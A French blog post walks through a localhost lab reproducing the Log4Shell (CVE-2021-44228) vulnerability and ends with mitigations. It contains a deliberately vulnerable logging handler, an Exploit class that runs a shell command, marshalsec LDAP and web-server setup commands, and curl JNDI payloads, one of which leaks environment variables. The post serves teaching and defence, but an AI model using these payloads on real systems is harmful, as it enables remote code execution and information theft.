CVE-2021-44228 et Apache Log4j (2e partie)
Contexte
Ces informations sont diffusées uniquement à des fins pédagogiques. Si vous réalisez des tests, cela doit être fait sur des serveurs dont vous êtes autorisés à le faire.
Dans le billet précédent, nous avons parlé de la faille de sécurité et notamment des solutions pour s’en prémunir.
Nous avons approfondir le principe de la faille de sécurité pour mieux la comprendre et de voir pourquoi les solutions de contournement fonctionnent.
Pour exploiter la faille de sécurité, nous avons besoin du pré-requis suivants :
-
Une cible (une application Java avec une version de log4j vulnérable),
-
L’application doit afficher dans les journaux une information envoyée par l’attaquant (sans protection),
-
Des serveurs pour envoyer le code à exécuter.
La cible
Pour commencer, nous avons besoin d’une application vulnérable. Nous allons déveloper une application dans ce sens.
Nous utilisons une version de log4j non corrigé.
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
Le code
Nous allons écrire un code qui pose problème, pour cela nous utilisons un handler d’un service web.
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); (1)
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeaders().getFirst("user-agent"); (2)
log.info("Request user-agent: {}", userAgent); (3)
...
}
}
-
Récupération de l’instance de
Logger
Log4j. -
Récupération d’information à partir de la requête.
-
Utilisation directe de l’information pour l’afficher dans le journal.
Le code complet est disponible sous
github
Pour limiter les dépendances, j’utilise le serveur web inclus avec le JDK. A ce niveau, le principe est le même quelque soit la solution utilisée comme JAX-RS, Spring, Quarkus ou autres.
L’exécution
Pour le compiler, à partir du dépot, il suffit de réaliser les actions suivantes :
git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc
mvn package
Puis pour le lancer, il faut poursuivre avec les actions suivantes :
java -jar target/log4shell-poc-0.1.0.jar
Il devrait s’afficher le message suivant :
19:35:25.216 [main] INFO fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Serveur démarre....
Nous avons à ce stade remplir l’objectif des deux premiers pré-requis. C’est à dire le point 1) et 2)
Code à exécuter
Le but de ce billet est l’apprentissage, donc le code à executer sera simplement la création d’un fichier /tmp/exploit.txt
.
Le code fourni fontionne uniquement sur Linux. Je laisse le soin au lecteur sous Windows de faire les modifications nécessaires vis à vis de son système.
Le code est dans un bloc statique afin qu’il soit exécuté par la JVM lors du chargement de la classe via le chargeur de classes.
public class Exploit {
static {
try {
String command = "touch /tmp/exploit.txt";
String[] commands = {"bash", "-c", command};
System.out.println("cmd : "+ commands[0]);
int result = java.lang.Runtime.getRuntime().exec(commands).waitFor();
System.out.println("result : "+ result);
} catch (Exception e){
e.printStackTrace();
}
}
}
Le code complet est disponible sous
github
Mise en oeuvre
Nous devons mettre en oeuvre différentes briques pour exploiter la faille et réussir l’exécution du code sur la cible :
-
Serveur LDAP
-
Serveur Web
Nous allons étudier la séquence via le schéma suivant :
La cinématique est la suivante :
-
L’attaquant appelle notre cible en lui passant des informations malveillantes dans la requête. Dans notre cas, c’est l’en tête
user-agent
-
La cible via la faille Log4j va analyser le message et appeler l’annuaire LDAP via JNDI. Dans notre cas, c’est l’url
ldap://ldap-malveillant:1389
-
L’annuaire LDAP renvoie les informations ainsi que le code pour chargeant l’exploit
-
Le code malveillant va récupérer le code à exécuter via un serveur web (moyen le plus simple et le moins bloqué) Dans notre cas, c’est l’url
http:// web-malveillant/…
-
Le serveur web retourne le code Java compilé
-
Le code est chargé et via le bloc statique, le code est ainsi exécuté.
Le serveur web.
Il faut commencer par compiler le code de l’exploit.
git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc/src/test/java
javac Exploit.java
puis le rendre disponible via un serveur web
# Si vous avez un JDK 18
jwebserver -p 8888
Après le lancement, vous obtiendrez le message suivant :
Binding to loopback by default. For all interfaces use "-b 0.0.0.0" or "-b ::".
Serving /.../log4shell-poc/src/test/java and subdirectories on 127.0.0.1 port 8888
URL http://127.0.0.1:8888/
Si vous n’avez pas encore de JDK 18, vous pouvez utiliser node ou python. Exemple de commande avec Python3 : python3 -m http.server 8888
Le serveur LDAP
Nous avons besoin d’un serveur LDAP spécial qui permet de renvoyer du code qui appellera une url. Pour cela, nous allons le projet marshalsec de mbechler.
Il n’existe pas de version binaire. Il faut le compiler à partir des sources. Voici les commandes à taper pour compiler à partir des sources (Java 8 requis):
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Pour l’exécution, nous allons utiliser la classe marshalsec.jndi.LDAPRefServer
Lors d’un interrogation LDAP, il faut lui préciser en paramètre l’url afin de récupérer notre exploit.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Une fois démarré, il affiche le message suivant :
Listening on 0.0.0.0:1389
Exécution
Tout est en place. Il nous reste à exécuter l’attaque sur la cible.
Nous reprenons la première action qui consiste à appeler la cible avec une requête HTTP. Pour cela, nous utilisons l’outil curl
. Pour information, le programme cible écoute sur le port 8500.
Le programme principal est disponible sous
github
curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}'
Nous obtenons le résultat suivant :
<h1>Voici le user-agent, ${jndi:ldap://127.0.0.1:1389/#Exploit}!</h1>
Nous allons voir la chaine d’évènement pour suivre le déroulé.
En l' étape 2
, la cible appelle bien l’annuaire LDAP. Nous retrouvons la trace suivante coté de l’annuaire
Send LDAP reference result for #Exploit redirecting to http://127.0.0.1:8888/Exploit.class
A noter que le code est simple, donc la classe a télécharger paramétrée uniquement au lancement du programme LDAP. Rien n’empêche un serveur plus complexe qui traiter la requête LDAP pour renvoyer vers la bonne classe.
Puis comme prévu dans l' étape 4
, la cible appelle le serveur web avec l’url. Nous trouvons la trace suivante coté serveur web.
127.0.0.1 - - [25/déc./2021:10:42:24 +0100] "GET /Exploit.class HTTP/1.1" 200 -
Afin coté de la cible, la classe est bien chargée dans l' étape 6
et nous pouvons voir les traces de l’exécution.
Ensuite, nous n’avons fait au plus simple pour la classe de l’exploit donc nous obtenons un problème de conversion ClassCastException
.
Chargement...
cmd : bash
result : 0
2021-12-25 11:37:58,279 Thread-2 WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/#Exploit]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '#Exploit'
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
...
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
... 48 more
11:27:50.892 [Thread-2] INFO fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}
Nous pourrions arranger le code pour éviter de faire sortir ce type d’exception dans les traces. Mais en tout cas, l’exploit a fonctionné et nous avons obtenu notre fichier /tmp/exploit.txt
Imaginer maintenant si le programme tourne avec un utilisateur avec beaucoup de priviliège (comme root) et si la commande à exécuter consiste à supprimer tous les fichiers de l’ordinateur.
JVM Récente
Dans le billet précédent, j’indiquais les versions du JDK qui permettent de ne pas charger du code arbitraire. Dans notre cas, c’est la classe malveillante retournée par notre annuaire LDAP qui ne sera pas chargée.
C’est à dire, nous appelons bien l’annuaire LDAP mais pas le serveur web. Nous obtenons la sortie suivante :
23:13:16.325 [Thread-2] INFO fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: Reference Class Name: foo
Effectivement, le code malveillant n’est pas exécuté. Mais en appelant l’annuaire LDAP, nous pouvons divulguer des informations. En effet, si je modifie la requête initiale pour utiliser d’autres Lookups
(Lien vers le manuel de Log4j) :
Nous pouvons utiliser d’autres "Lookup", par exemple :
-
Environnment Lookup avec
env:USER
-
Java Lookup avec
java:version
Nous obtenons la commande suivante :
curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#User/${java:version}/${env:USER}}'
Du coté de l’annuaire LDAP corrompu, nous obtenons les valeurs :
Send LDAP reference result for #User/Java version 17.0.1/lbenoit redirecting to http://127.0.0.1:8888/Exploit.class
Donc, le programme cible tourne avec un JDK 17.0.1
avec l’utilisateur lbenoit
.
Conclusion
La montée de version d’une librairie avec une versions corrective est plus ou moins longue en fonction du processus de développement et de déploiement.
Il est intéressant de comprendre une faille de sécurité pour savoir comment s’en prémunir. Dans notre cas précis, les deux options log4j2.formatMsgNoLookups
ou LOG4J_FORMAT_MSG_NO_LOOKUPS
permettent de désactiver l’utilisation de ces fameux Lookup
au sein des messages. De ce fait, cette faille n’est plus exploitable.
En effet, leur utilisation est plutôt pour la définition des patterns de messages. Voici un exemple pour d’un Lookup
JNDI.
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
Open Source
Pour rappel, Log4j fait partie du projet Apache logging service
. C’est à dire la journalisation pour un ensemble de langages : Java, Kotlin, Scala, C++, .Net et d’autres projets associés. Ce n’est pas une grosse société derrrière mais c’est une petite équipe de bénévole.
Malgré leur petit nombre, ils ont été prompt à fournir des correctifs. C’est l’occasion de les soutenir en faisant un don à la fondation Apache.
Moteur de recherche
"Eduquer, ce n'est pas remplir des vases mais c'est d'allumer des feux." - Michel Montaigne
Billets récents
- Eclipse plante systématiquement sous Debian (et autres distribution Linux)
- JEP 463, Implicitly Declared Classes and Instance Main Methods (Second Preview)
- Debian - Montée de version de Debian 11 (Bullseye) à Debian 12 (Bookworm)
- JEP 451, Prepare to Disallow the Dynamic Loading of Agents
- JEP 444, Virtual Threads